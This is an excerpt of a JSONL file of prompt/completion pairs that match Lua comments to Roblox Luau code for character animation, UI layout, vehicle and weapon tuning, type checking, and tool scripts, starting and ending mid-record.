then\n\t\tjumpAnimTime = jumpAnimTime - deltaTime\n\tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, Humanoid)\n\telseif (pose == \"Seated\") then\n\t\tplayAnimation(\"sit\", 0.5, Humanoid)\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.2, Humanoid)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then\n\t\tstopAllAnimations()\n\t\tamplitude = 0.1\n\t\tfrequency = 1\n\t\tsetAngles = true\n\tend\n\n\t-- Tool Animation handling\n\tlocal tool = Character:FindFirstChildOfClass(\"Tool\")\n\tif tool and tool:FindFirstChild(\"Handle\") then\n\t\tlocal animStringValueObject = getToolAnim(tool)\n\n\t\tif animStringValueObject then\n\t\t\ttoolAnim = animStringValueObject.Value\n\t\t\t-- message recieved, delete StringValue\n\t\t\tanimStringValueObject.Parent = nil\n\t\t\ttoolAnimTime = currentTime + .3\n\t\tend\n\n\t\tif currentTime > toolAnimTime then\n\t\t\ttoolAnimTime = 0\n\t\t\ttoolAnim = \"None\"\n\t\tend\n\n\t\tanimateTool()\t\t\n\telse\n\t\tstopToolAnimations()\n\t\ttoolAnim = \"None\"\n\t\ttoolAnimInstance = nil\n\t\ttoolAnimTime = 0\n\tend\nend\n"} +{"prompt": "-- OFFSET HANDLERS", "completion": "\nlocal alignmentDetails = {}\nalignmentDetails[\"left\"] = {\n\tstartScale = 0,\n\tgetOffset = function()\n\t\tlocal offset = 48 + IconController.leftOffset\n\t\tif checkTopbarEnabled() then\n\t\t\tlocal chatEnabled = starterGui:GetCoreGuiEnabled(\"Chat\")\n\t\t\tif chatEnabled then\n\t\t\t\toffset += 12 + 32\n\t\t\tend\n\t\t\tif voiceChatIsEnabledForUserAndWithinExperience and not isStudio then\n\t\t\t\tif chatEnabled then\n\t\t\t\t\toffset += 67\n\t\t\t\telse\n\t\t\t\t\toffset += 43\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\treturn offset\n\tend,\n\tgetStartOffset = function()\n\t\tlocal alignmentGap = IconController[\"leftGap\"]\n\t\tlocal startOffset = alignmentDetails.left.getOffset() + alignmentGap\n\t\treturn startOffset\n\tend,\n\trecords = {}\n}\nalignmentDetails[\"mid\"] = {\n\tstartScale = 0.5,\n\tgetOffset = function()\n\t\treturn 0\n\tend,\n\tgetStartOffset = function(totalIconX) \n\t\tlocal alignmentGap = IconController[\"midGap\"]\n\t\treturn -totalIconX/2 + (alignmentGap/2)\n\tend,\n\trecords = {}\n}\nalignmentDetails[\"right\"] = {\n\tstartScale = 1,\n\tgetOffset = function()\n\t\tlocal offset = IconController.rightOffset\n\t\tlocal localCharacter = localPlayer.Character\n\t\tlocal localHumanoid = localCharacter and localCharacter:FindFirstChild(\"Humanoid\")\n\t\tlocal isR6 = if localHumanoid and localHumanoid.RigType == Enum.HumanoidRigType.R6 then true else false -- Even though the EmotesMenu doesn't appear for R6 players, it will still register as enabled unless manually disabled\n\t\tif (checkTopbarEnabled() or VRService.VREnabled) and (starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) or (not isR6 and starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu))) then\n\t\t\toffset += 48\n\t\tend\n\t\treturn offset\n\tend,\n\tgetStartOffset = function(totalIconX)\n\t\tlocal startOffset = -totalIconX - alignmentDetails.right.getOffset()\n\t\treturn startOffset\n\tend,\n\trecords = {}\n\t--reverseSort = true\n}\n\n\n"} +{"prompt": "-- initialize to idle", "completion": "\nplayAnimation(\"idle\", 0.1, Humanoid)\npose = \"Standing\"\n\nwhile Figure.Parent ~= nil do\n\tlocal _, time = wait(0.1)\n\tmove(time)\nend\n\n\n"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 1200\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 7000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 7500\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.ComfortShift = 3500\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "-- An object which stores a piece of reactive state.", "completion": "\nexport type StateObject = Dependency & {\n\ttype: string, -- replace with \"State\" when Luau supports singleton types\n\tkind: string,\n\tget: (StateObject, asDependency: boolean?) -> T\n}\n"} +{"prompt": "--[[**\n\tensures value is a table and all keys pass keyCheck and all values pass valueCheck\n\n\t@param keyCheck The function to use to check the keys\n\t@param valueCheck The function to use to check the values\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.map(keyCheck, valueCheck)\n\tassert(t.callback(keyCheck), t.callback(valueCheck))\n\tlocal keyChecker = t.keys(keyCheck)\n\tlocal valueChecker = t.values(valueCheck)\n\treturn function(value)\n\t\tlocal keySuccess, keyErr = keyChecker(value)\n\t\tif not keySuccess then\n\t\t\treturn false, keyErr or \"\"\n\t\tend\n\n\t\tlocal valueSuccess, valueErr = valueChecker(value)\n\t\tif not valueSuccess then\n\t\t\treturn false, valueErr or \"\"\n\t\tend\n\n\t\treturn true\n\tend\nend\n\ndo\n\tlocal arrayKeysCheck = t.keys(t.integer)\n\t--[[**\n\t\tensures value is an array and all values of the array match check\n\n\t\t@param check The check to compare all values with\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]\n\tfunction t.array(check)\n\t\tassert(t.callback(check))\n\t\tlocal valuesCheck = t.values(check)\n\t\treturn function(value)\n\t\t\tlocal keySuccess, keyErrMsg = arrayKeysCheck(value)\n\t\t\tif keySuccess == false then\n\t\t\t\treturn false, string.format(\"[array] %s\", keyErrMsg or \"\")\n\t\t\tend\n\n\t\t\t-- # is unreliable for sparse arrays\n\t\t\t-- Count upwards using ipairs to avoid false positives from the behavior of #\n\t\t\tlocal arraySize = 0\n\n\t\t\tfor _, _ in ipairs(value) do\n\t\t\t\tarraySize = arraySize + 1\n\t\t\tend\n\n\t\t\tfor key in pairs(value) do\n\t\t\t\tif key < 1 or key > arraySize then\n\t\t\t\t\treturn false, string.format(\"[array] key %s must be sequential\", tostring(key))\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tlocal valueSuccess, valueErrMsg = valuesCheck(value)\n\t\t\tif not valueSuccess then\n\t\t\t\treturn false, string.format(\"[array] %s\", valueErrMsg or \"\")\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n\ndo\n\tlocal callbackArray = t.array(t.callback)\n\t--[[**\n\t\tcreates a union type\n\n\t\t@param ... The checks to union\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]\n\tfunction t.union(...)\n\t\tlocal checks = {...}\n\t\tassert(callbackArray(checks))\n\t\treturn function(value)\n\t\t\tfor _, check in pairs(checks) do\n\t\t\t\tif check(value) then\n\t\t\t\t\treturn true\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn false, \"bad type for union\"\n\t\tend\n\tend\n\n\t--[[**\n\t\tAlias for t.union\n\t**--]]\n\tt.some = t.union\n\n\t--[[**\n\t\tcreates an intersection type\n\n\t\t@param ... The checks to intersect\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]\n\tfunction t.intersection(...)\n\t\tlocal checks = {...}\n\t\tassert(callbackArray(checks))\n\t\treturn function(value)\n\t\t\tfor _, check in pairs(checks) do\n\t\t\t\tlocal success, errMsg = check(value)\n\t\t\t\tif not success then\n\t\t\t\t\treturn false, errMsg or \"\"\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn true\n\t\tend\n\tend\n\n\t--[[**\n\t\tAlias for t.intersection\n\t**--]]\n\tt.every = t.intersection\nend\n\ndo\n\tlocal checkInterface = t.map(t.any, t.callback)\n\t--[[**\n\t\tensures value matches given interface definition\n\n\t\t@param checkTable The interface definition\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]\n\tfunction t.interface(checkTable)\n\t\tassert(checkInterface(checkTable))\n\t\treturn function(value)\n\t\t\tlocal tableSuccess, tableErrMsg = t.table(value)\n\t\t\tif tableSuccess == false then\n\t\t\t\treturn false, tableErrMsg or \"\"\n\t\t\tend\n\n\t\t\tfor key, check in pairs(checkTable) do\n\t\t\t\tlocal success, errMsg = check(value[key])\n\t\t\t\tif success == false then\n\t\t\t\t\treturn false, string.format(\"[interface] bad value for %s:\\n\\t%s\", tostring(key), errMsg or \"\")\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn true\n\t\tend\n\tend\n\n\t--[[**\n\t\tensures value matches given interface definition strictly\n\n\t\t@param checkTable The interface definition\n\n\t\t@returns A function that will return true iff the condition is passed\n\t**--]]\n\tfunction t.strictInterface(checkTable)\n\t\tassert(checkInterface(checkTable))\n\t\treturn function(value)\n\t\t\tlocal tableSuccess, tableErrMsg = t.table(value)\n\t\t\tif tableSuccess == false then\n\t\t\t\treturn false, tableErrMsg or \"\"\n\t\t\tend\n\n\t\t\tfor key, check in pairs(checkTable) do\n\t\t\t\tlocal success, errMsg = check(value[key])\n\t\t\t\tif success == false then\n\t\t\t\t\treturn false, string.format(\"[interface] bad value for %s:\\n\\t%s\", tostring(key), errMsg or \"\")\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tfor key in pairs(value) do\n\t\t\t\tif not checkTable[key] then\n\t\t\t\t\treturn false, string.format(\"[interface] unexpected field '%s'\", tostring(key))\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn true\n\t\tend\n\tend\nend\n"} +{"prompt": "--// Recoil Settings\t", "completion": "\n\tgunrecoil = -0.3; -- How much the gun recoils backwards when not aiming\n\tcamrecoil = 1.56; -- How much the camera flicks when not aiming\n\tAimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming\n\tAimCamRecoil = 1.63; -- How much the camera flicks when aiming\n\t\n\tCamShake = 2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING\n\tAimCamShake = 3; -- THIS IS ALSO NEW!!!!\n\t\n\tKickback = 0.2; -- Upward gun rotation when not aiming\n\tAimKickback = 0.2; -- Upward gun rotation when aiming\n\t"} +{"prompt": "----------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n-- API", "completion": "\n\nModuleAPI = {\n\n\tpadding = 1,\t\n\t\n}\nc = workspace.CurrentCamera\nplayer = game.Players.LocalPlayer\nrs = game:GetService(\"RunService\")\n\nfunction checkArgs(...)\n\t-- Generic Function for checking if arguments exist / are the correct type.\n\tlocal args = {...}\n\tlocal function useVowel(name)\n\t\tlocal vowels = {\"a\",\"e\",\"i\",\"o\",\"u\"}\n\t\tfor _,v in pairs(vowels) do\n\t\t\tif string.sub(string.lower(name),1,1) == v then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\t\treturn false\n\tend\n\tfor i = 1,#args,2 do \n\t\tlocal s = \"Argument \"..(i/2+.5)\n\t\tlocal var,f = args[i], args[i+1]\n\t\tif var == nil then \n\t\t\treturn error(s..\" missing or nil\") \n\t\tend \n\t\tlocal vt = type(var)\n\t\tif type(f) == \"function\" then\n\t\t\tlocal r,t = f(var)\n\t\t\tif not r then\n\t\t\t\treturn error(s..\" should be a\"..(useVowel(t) and \"n\" or \"\")..\" \"..t..\" (not a\"..(useVowel(vt) and \"n\" or \"\")..\": \"..vt..\")\")\n\t\t\tend\n\t\telseif vt ~= f then\n\t\t\treturn error(s..\" should be a\"..(useVowel(f) and \"n\" or \"\")..\" \"..f..\" (not a\"..(useVowel(vt) and \"n\" or \"\")..\": \"..vt..\")\")\n\t\tend\n\tend\nend\n\nfunction ModuleAPI:GetScreenResolution()\n\tlocal mouse = player:GetMouse()\n\tif mouse then\n\t\tif mouse.ViewSizeX > 0 and mouse.ViewSizeY > 0 then\n\t\t\treturn Vector2.new(mouse.ViewSizeX,mouse.ViewSizeY)\n\t\tend\n\tend\n\tif player.PlayerGui then\n\t\tlocal screenGui\n\t\tfor _,v in pairs(player.PlayerGui:GetChildren()) do\n\t\t\tif v:IsA(\"ScreenGui\") then\n\t\t\t\tscreenGui = v\n\t\t\tend\n\t\tend\n\t\tif not screenGui then -- Not sure if this is possible assuming the scenario. But you never know.\n\t\t\tscreenGui = Instance.new(\"ScreenGui\",player.PlayerGui)\n\t\t\twait(.1) -- Wait just a moment for the property to get set.\n\t\tend\n\t\treturn screenGui.AbsoluteSize\n\tend\n\treturn error(\"ERROR: Can't get client resolution\")\nend\n\nfunction ModuleAPI:PointToScreenSpace(at)\n\tcheckArgs(at,function(v)\n\t\tlocal is = pcall(function () return p.X,p.Y,p.Z end) \n\t\treturn is or false,\"Vector3\"\n\tend)\n\tlocal resolution = ModuleAPI:GetScreenResolution()\n\tlocal point = c.CoordinateFrame:pointToObjectSpace(at)\n\tlocal aspectRatio = resolution.X / resolution.Y\n\tlocal hfactor = math.tan(math.rad(c.FieldOfView)/2)\n\tlocal wfactor = aspectRatio*hfactor\n\tlocal x = (point.x/point.z) / -wfactor\n\tlocal y = (point.y/point.z) / hfactor\n\treturn Vector2.new(resolution.X*(0.5 + 0.5*x), resolution.Y*(0.5 + 0.5*y))\nend\n\nfunction ModuleAPI:ScreenSpaceToWorld(x, y, depth)\n\tcheckArgs(x,\"number\",y,\"number\",depth,\"number\")\n\tlocal resolution = ModuleAPI:GetScreenResolution()\n\tlocal aspectRatio = resolution.X / resolution.Y\n\tlocal hfactor = math.tan(math.rad(c.FieldOfView)/2)\n\tlocal wfactor = aspectRatio*hfactor\n\tlocal xf, yf = x/resolution.X*2 - 1, y/resolution.Y*2 - 1\n\tlocal xpos = xf * -wfactor * depth\n\tlocal ypos = yf * hfactor * depth\n\treturn Vector3.new(xpos, ypos, depth)\nend\n\nfunction ModuleAPI:GetDepthForWidth(partWidth, visibleSize)\n\tcheckArgs(partWidth,\"number\",visibleSize,\"number\")\n\tlocal resolution = ModuleAPI:GetScreenResolution()\n\tlocal aspectRatio = resolution.X / resolution.Y\n\tlocal hfactor = math.tan(math.rad(c.FieldOfView)/2)\n\tlocal wfactor = aspectRatio*hfactor\n\treturn (-0.5*resolution.X*partWidth/(visibleSize*wfactor))\nend\n\nfunction ModuleAPI:Attach3D(guiObj,model)\n\tcheckArgs(\n\t\tguiObj,function (v)\n\t\t\treturn guiObj:IsA(\"GuiObject\") or false,\"GuiObject\"\n\t\tend,\n\t\tmodel,function (v)\n\t\t\treturn (model:IsA(\"Model\") or model:IsA(\"BasePart\")) or false,\"Model or BasePart\"\n\t\tend\n\t)\n\tlocal index = {}\n\tlocal m = Instance.new(\"Model\")\n\tm.Name = \"\"\n\tm.Parent = c\n\tobjs = {}\n\tif model:IsA(\"BasePart\") then\n\t\tlocal this = model:clone()\n\t\tthis.Parent = m\n\t\ttable.insert(objs,this)\n\telse\n\t\tlocal function recurse(obj)\n\t\t\tfor _,v in pairs(obj:GetChildren()) do\n\t\t\t\tlocal part\n\t\t\t\tif v:IsA(\"BasePart\") then\n\t\t\t\t\tpart = v:clone()\n\t\t\t\telseif v:IsA(\"Hat\") and v:findFirstChild(\"Handle\") then\n\t\t\t\t\tpart = v.Handle:clone()\n\t\t\t\tend\n\t\t\t\tif part then\n\t\t\t\t\tlocal cf = part.CFrame\n\t\t\t\t\tpart.Anchored = false\n\t\t\t\t\tpart.Parent = m\n\t\t\t\t\tpart.CFrame = cf \n\t\t\t\t\tif part.Name == \"Head\" then\n\t\t\t\t\t\tpart.Name = \"H\"\n\t\t\t\t\tend\n\t\t\t\t\tif (part:IsA(\"Seat\")) then\n\t\t\t\t\t\tpart:Destroy()\n\t\t\t\t\tend\n\t\t\t\t\tif part.Parent == m then\n\t\t\t\t\t\ttable.insert(objs,part)\n\t\t\t\t\tend\n\t\t\t\telseif not v:IsA(\"Model\") and not v:IsA(\"Sound\") and not v:IsA(\"Script\") then\n\t\t\t\t\tv:clone().Parent = m\n\t\t\t\telse\n\t\t\t\t\trecurse(v)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\trecurse(model)\n\tend\n\tlocal primary = Instance.new(\"Part\")\n\tprimary.Anchored = true\n\tprimary.Transparency = 1\n\tprimary.CanCollide = false\n\tprimary.Name = \"MODEL_CENTER\"\n\tprimary.Size = m:GetExtentsSize() * (Vector3.new(1.15,1,1.15) * ModuleAPI.padding);\n\tprimary.CFrame = CFrame.new(m:GetModelCFrame().p)\n\tprimary.Parent = m\n\tm.PrimaryPart = primary\n\tfor _,v in pairs(objs) do\n\t\tv.Anchored = false\n\t\tv.CanCollide = false\n\t\tv.Archivable = true\n\t\tlocal w = Instance.new(\"Weld\",primary)\n\t\tw.Part0 = primary\n\t\tw.Part1 = v\n\t\tlocal CJ = CFrame.new(primary.Position)\n\t\tw.C0 = primary.CFrame:inverse()*CJ\n\t\tw.C1 = v.CFrame:inverse()*CJ\n\t\tv.Parent = m\n\tend\n\tCF = CFrame.new(0, 0, 0, -1, 0, -8.74227766e-008, 0, 1, 0, 8.74227766e-008, 0, -1)\n\tActive = false\n\tDistOffset = 0\n\tfunction index:SetActive(b)\n\t\tcheckArgs(b,\"boolean\")\n\t\tActive = b\n\tend\n\tfunction index:SetCFrame(cf)\n\t\tcheckArgs(cf,function () \n\t\t\tlocal isCFrame = pcall(function () return cf:components() end)\n\t\t\treturn isCFrame or false,\"CFrame\"\n\t\tend)\n\t\tCF = cf\n\tend\n\tlocal function updateModel()\n\t\tprimary.Anchored = false\n\t\tif Active then\n\t\t\tlocal posZ = ModuleAPI:GetDepthForWidth(primary.Size.magnitude, guiObj.AbsoluteSize.Y)\n\t\t\tlocal sizeX,sizeY = guiObj.AbsoluteSize.X,guiObj.AbsoluteSize.Y\n\t\t\tlocal posX,posY = guiObj.AbsolutePosition.X+(sizeX/2),guiObj.AbsolutePosition.Y+(sizeY/2)\n\t\t\tlocal pos = ModuleAPI:ScreenSpaceToWorld(posX,posY,posZ)\n\t\t\tlocal location = c.CoordinateFrame * CFrame.new(pos.X, pos.Y, posZ)\n\t\t\tprimary.CFrame = location * CF\n\t\telse\n\t\t\tprimary.CFrame = CFrame.new()\n\t\tend\n\t\tprimary.Anchored = true\n\tend\n\tlocal con = rs.RenderStepped:Connect(updateModel)\n\tfunction index:End()\n\t\tcon:disconnect()\n\t\tpcall(function ()\n\t\t\tm:Destroy()\n\t\tend)\n\t\treturn\n\tend\n\tindex.Object3D = m\n\treturn index\nend\n\nfunction ModuleAPI:AdornScreenGuiToWorld(screenGui,screenStudWidth)\n\tcheckArgs(screenGui,function (v)\n\t\treturn screenGui:IsA(\"ScreenGui\") or false,\"ScreenGui\"\n\tend)\n\tlocal screenStudWidth = type(screenStudWidth) == \"number\" and screenStudWidth or 1\n\tlocal original = screenGui:GetFullName()\n\tlocal new = screenGui.Parent:GetFullName()..\".\"..screenGui.Name..\".\"..screenGui.Name\n\tlocal nl = \" \\n\\t\"\n\tlocal s = Instance.new(\"SurfaceGui\",screenGui.Parent)\n\ts.Name = screenGui.Name\n\ts.ToolPunchThroughDistance = 999999\n\tlocal adorn = Instance.new(\"Part\",c)\n\tadorn.Name = screenGui.Name..\"_Adornee\"\n\tadorn.Anchored = true\n\tadorn.CanCollide = false\n\tadorn.Transparency = 1\n\tadorn.Locked = true\n\tlocal con\n\tlocal modifier = {}\n\tfunction modifier:SetScreenStudWidth(n)\n\t\tcheckArgs(n,\"number\")\n\t\tscreenStudWidth = n\n\tend\n\tfunction modifier:Reset()\n\t\tscreenGui.Parent = s.Parent\n\t\tfor _,v in pairs(s:GetChildren()) do\n\t\t\tv.Parent = screenGui\n\t\tend\n\t\tcon:disconnect()\n\t\tadorn:Destroy()\n\t\ts:Destroy()\n\tend\n\tlocal function updateAdorn()\n\t\tlocal success,did = pcall(function ()\n\t\t\tlocal res = ModuleAPI:GetScreenResolution()\n\t\t\tlocal xToY = (res.X/res.Y)*screenStudWidth\n\t\t\tadorn.Size = Vector3.new(xToY,screenStudWidth,0.2)\n\t\t\tadorn.Parent = c\n\t\t\tlocal depth = ModuleAPI:GetDepthForWidth(xToY,res.X)\n\t\t\tlocal pos = ModuleAPI:ScreenSpaceToWorld(res.X/2,res.Y/2,depth-0.1)\n\t\t\tadorn.CFrame = c.CoordinateFrame * CFrame.new(pos)\n\t\t\ts.CanvasSize = res\n\t\t\treturn true\n\t\tend)\n\t\tif not success or not did then\n\t\t\twarn(script:GetFullName()..\": The adornee was destroyed! The gui has been reset.\")\n\t\t\tmodifier:Reset()\n\t\tend\n\tend\n\tcon = rs.RenderStepped:Connect(updateAdorn)\n\ts.Face = \"Back\"\n\ts.Adornee = adorn\n\tfor _,v in pairs(screenGui:GetChildren()) do\n\t\tv.Parent = s\n\tend\n\tscreenGui.Parent = nil\n\treturn modifier\nend\n\nreturn ModuleAPI\n"} +{"prompt": "--For R15 avatars", "completion": "\nlocal Animations = {\n\tR15Slash = 522635514,\n\tR15Lunge = 522638767\n}\n\nlocal Damage = DamageValues.BaseDamage\n\nlocal Grips = {\n\tUp = CFrame.new(0, 0, -1.70000005, 0, 0, 1, 1, 0, 0, 0, 1, 0),\n\tOut = CFrame.new(0, 0, -1.70000005, 0, 1, 0, 1, -0, 0, 0, 0, -1)\n}\n\nlocal Sounds = {\n\tSlash = Handle:WaitForChild(\"SwordSlash\"),\n\tLunge = Handle:WaitForChild(\"SwordLunge\"),\n\tUnsheath = Handle:WaitForChild(\"Unsheath\")\n}\n\nlocal ToolEquipped = false\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n--------------------=[ OUTROS ]=--------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,FastReload = true\t\t\t\t\t--- Automatically operates the bolt on reload if needed\n\t,SlideLock = false\n\t,MoveBolt = false\n\t,BoltLock = false\n\t,CanBreachDoor = false\n\t,CanBreak = true\t\t\t\t\t--- Weapon can jam?\n\t,JamChance = 1000\t\t\t\t\t--- This old piece of brick doesn't work fine >;c\n\t,IncludeChamberedBullet = true\t\t--- Include the chambered bullet on next reload\n\t,Chambered = false\t\t\t\t\t--- Start with the gun chambered?\n\t,LauncherReady = false\t\t\t\t--- Start with the GL ready?\n\t,CanCheckMag = true\t\t\t\t\t--- You can check the magazine\n\t,ArcadeMode = false\t\t\t\t\t--- You can see the bullets left in magazine\n\t,RainbowMode = false\t\t\t\t--- Operation: Party Time xD\n\t,ModoTreino = false\t\t\t\t\t--- Surrender enemies instead of killing them\n\t,GunSize = 4\n\t,GunFOVReduction = 5.5\n\n\t,BoltExtend = Vector3.new(0, 0, 0.4)\n\t,SlideExtend = Vector3.new(0, 0, 0.4)\t"} +{"prompt": "-- if human.Health <= 0 then\n-- torso.Velocity = (torso.Position - position).unit * 10;\n-- print(\"Dead\");\n-- end", "completion": "\n \n print(\"Took \"..(300-(distance-radius)*(300/radius))..\" Damage\")\n end\n end"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal PathfindingService = game:GetService(\"PathfindingService\")\nlocal Players = game:GetService(\"Players\")\nlocal DebrisService = game:GetService('Debris')\nlocal StarterGui = game:GetService(\"StarterGui\")\nlocal Workspace = game:GetService(\"Workspace\")\nlocal CollectionService = game:GetService(\"CollectionService\")\nlocal GuiService = game:GetService(\"GuiService\")\n"} +{"prompt": "--Do the same to copy the TeleporterEffect script to the StarterPlayer and TeleporterNetworking to ReplicatedStorage", "completion": "\nlocal StarterPlayer = game:GetService(\"StarterPlayer\") --Get the StarterPlayer (the method ignores the name of the service)\nlocal TeleEffect = StarterPlayer.StarterPlayerScripts:findFirstChild(\"TeleporterEffect\") --Try to find the TeleporterEffect script\n"} +{"prompt": "---Place this INSIDE the model. Don't replace the model name or anything.\n------------------------------------------------------------------------------------------ ", "completion": "\nobject = script.Parent \nif (object ~= nil) and (object ~= game.Workspace) then \nmodel = object \nmessageText = \"Places\" .. model.Name .. \"\" \n\nmessage = Instance.new(\"Message\") \nmessage.Text = messageText \nbackup = model:clone() -- Make the backup \nwaitTime = 45 --Time to wait between regenerations \nwait(math.random(0, waitTime)) \nwhile true do \nwait(waitTime) -- Regen wait time \n\nmessage.Parent = game.Workspace \nmodel:remove() \n\nwait(1) -- Display regen message for this amount of time \n\nmodel = backup:clone() \nmodel.Parent = game.Workspace \nmodel:makeJoints() \nmessage.Parent = nil \nend \nend "} +{"prompt": "--[[\n\tIf a target set was specified by captureDependencies(), this will add the\n\tgiven dependency to the target set.\n]]", "completion": "\n\nlocal Package = script.Parent.Parent\nlocal Types = require(Package.Types)\nlocal sharedState = require(Package.Dependencies.sharedState)\n\nlocal initialisedStack = sharedState.initialisedStack\n\nlocal function useDependency(dependency: Types.Dependency)\n\tlocal dependencySet = sharedState.dependencySet\n\n\tif dependencySet ~= nil then\n\t\tlocal initialisedStackSize = sharedState.initialisedStackSize\n\t\tif initialisedStackSize > 0 then\n\t\t\tlocal initialisedSet = initialisedStack[initialisedStackSize]\n\t\t\tif initialisedSet[dependency] ~= nil then\n\t\t\t\treturn\n\t\t\tend\n\t\tend\n\t\tdependencySet[dependency] = true\n\tend\nend\n\nreturn useDependency\n"} +{"prompt": "--[=[\n\t@param name string\n\t@param priority number\n\t@param fn (dt: number) -> ()\n\tCalls `RunService:BindToRenderStep` and registers a function in the\n\ttrove that will call `RunService:UnbindFromRenderStep` on cleanup.\n\n\t```lua\n\ttrove:BindToRenderStep(\"Test\", Enum.RenderPriority.Last.Value, function(dt)\n\t\t-- Do something\n\tend)\n\t```\n]=]", "completion": "\nfunction Trove:BindToRenderStep(name: string, priority: number, fn: (dt: number) -> ())\n\tif self._cleaning then\n\t\terror(\"Cannot call trove:BindToRenderStep() while cleaning\", 2)\n\tend\n\tRunService:BindToRenderStep(name, priority, fn)\n\tself:Add(function()\n\t\tRunService:UnbindFromRenderStep(name)\n\tend)\nend\n"} +{"prompt": "---------------------------------", "completion": "\n\nwait()\n\nlocal tool = script.Parent\nlocal Tool = tool \nlocal player = game.Players.LocalPlayer\nlocal char = player.Character\nlocal mouse = player:GetMouse() \nDB = false\ndown = false\nbv = script.BV:clone()\nbg = script.BG:clone()\ntoggle = false\n\tlookaround = false\n\n\t\n\tmouse.Button2Down:connect(function()\n\tlookaround = true\n\tend)\n\tmouse.Button2Up:connect(function()\n\tlookaround = false\n\tend)\n\tmouse.Button1Down:connect(function()\n\tif Tool.Parent ~= char then return end\n\t\tif char.Humanoid.Sit == false then\n\tbv.Parent = char.Head\n\tbg.Parent = char.Head\n\t\tdown = true\n\t\tchar.Humanoid.Sit = false\n\t\t\n\t\t\n\tif toggle == false then\n\t\ttoggle = true\n\t\twhile down == true do\n\t\t\twait()\n\t\t\tif down == true and char.Humanoid.Sit == false then\n\t\t\t\tif lookaround == false then\n\t\t\t\tbv.velocity = mouse.Hit.lookVector * 16\n\t\t\t\telse\n\t\t\t\tbv.velocity = Vector3.new(0,0,0)\n\t\t\t\tend\n\t\t\t\t\tbg.cframe = CFrame.new(char.Torso.Position, char.Torso.Position + mouse.Hit.lookVector) * CFrame.Angles(math.rad(-35), 0, 0 ) \n\t\t\t\n\t\t\telse\n\t\t\tbreak\n\t\t\tend\n\t\tend\n\t\t\n\t\n\n\telseif toggle == true then\n\ttoggle = false\n\t\n\tbg.Parent = nil\n\t\tbv.Parent = nil\n\t\tbv.velocity = Vector3.new() \n\t\tdown = false\n\t\t\n\tend\n\t\n\tend\t\n\t\n\tend)\n"} +{"prompt": "--// All global vars will be wiped/replaced except script\n--// All guis are autonamed client.Variables.CodeName..gui.Name", "completion": "\n\nreturn function(data, env)\n\tif env then\n\t\tsetfenv(1, env)\n\tend\n\n\tlocal gui = script.Parent.Parent\n\tlocal playergui = service.PlayerGui\n\tlocal str = data.Message\n\tlocal time = data.Time or 15\n\n\t--client.UI.Make(\"HintHolder\")\n\tlocal container = client.UI.Get(\"HintHolder\",nil,true)\n\tif not container then\n\t\tlocal holder = service.New(\"ScreenGui\")\n\t\tlocal hTable = client.UI.Register(holder)\n\t\tlocal frame = service.New(\"ScrollingFrame\", holder)\n\t\tclient.UI.Prepare(holder)\n\t\thTable.Name = \"HintHolder\"\n\t\tframe.Name = \"Frame\"\n\t\tframe.BackgroundTransparency = 1\n\t\tframe.Size = UDim2.new(1, 0, 0,150)\n\t\tframe.CanvasSize = UDim2.new(0, 0, 0, 0)\n\t\tframe.ChildAdded:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\n\t\tframe.ChildRemoved:Connect(function(c)\n\t\t\tif #frame:GetChildren() == 0 then\n\t\t\t\tframe.Visible = false\n\t\t\telse\n\t\t\t\tframe.Visible = true\n\t\t\tend\n\t\tend)\n\n\t\tcontainer = hTable\n\t\thTable:Ready()\n\tend\n\tcontainer = container.Object.Frame\n\n\t--// First things first account for notif :)\n\tlocal notif = 